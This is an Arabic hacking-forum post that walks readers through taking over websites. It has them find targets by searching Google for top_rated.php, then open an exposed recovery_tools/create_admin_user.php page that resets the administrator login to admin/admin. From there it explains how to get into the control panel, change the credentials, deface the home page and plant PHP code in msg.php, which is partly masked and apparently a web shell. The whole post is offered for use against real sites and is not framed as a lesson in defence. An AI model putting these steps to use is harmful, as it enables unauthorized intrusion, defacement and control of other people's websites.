لنتعلم اختراق المواقع بثغره بسيطه وقوية + ستجد المتابعه والمساعده تفضل

المساهمات : 66 تاريخ التسجيل : 01/07/2008

بسم الله الرحمن الرحيم

تلبية لرغبة مشرف ( اغضاء منتديات كول) هذا شرح لثغره قوية وراح تحصل مواقع كثيرة جدا

ومنها الاختراقات الكثيره ايضاً ...

شرطي الوحيد انه لايتم اختراق اي موقع عربي ومن يثبت عليه ذلك سيلووم نفسه ...

لبندأ شرح ثغره top_rated.php

اذهب الى اي محرك بحث وليكن www.google.com

top_rated.php

مثـــــــــــــــال :"
http://www.XXX.com/top_rated.php

قم باستبدال top_rated.php

بــ recovery_tools/create_admin_user.php

هكذا...
http://www.XXX.com/recovery_tools/create_admin_user.php

اذا ظهرت لك صفحة مكتوب فيها التالي
Delete old administrator user ....ok
Create new administrator user ....ok

اذن نجحت الان اصبح اسم المستخدم وكلمة المرور admin

user=admin
pass=admin

اذهب الى لوحة التحكم وافعل ماشئت

للدخول للوحة التحكم :
http://www.XXX.com/admin/index.php

شرح بعض خيارات لوحة التحكم المهمه

اذهب الى Change Password لتغيير كلمة المرور

و Edit File Email Address لتغيير البريد

و View/Edit/Delete لحذف او عرض او تعديل

ولتغيير الصفحة الرئيسية

اختر Template Modifier واختار default

ومن File name اختر index html

وادخل على Edit File

واكتب بالفرونت اللي يعجبك والصق كود html هنا اخيراً Save Change

وتقدر تستفيد من الثغره اكثر بتعديل ملف msg.php اذا كان موجود

وتضع فيه كود php************l واستمتع ..وطبق الاوامر

يالله نشوف او مخترق

جميع الحقوق :nigm_elalm@yahoo.com

انتهى ..

وفق الله الجميع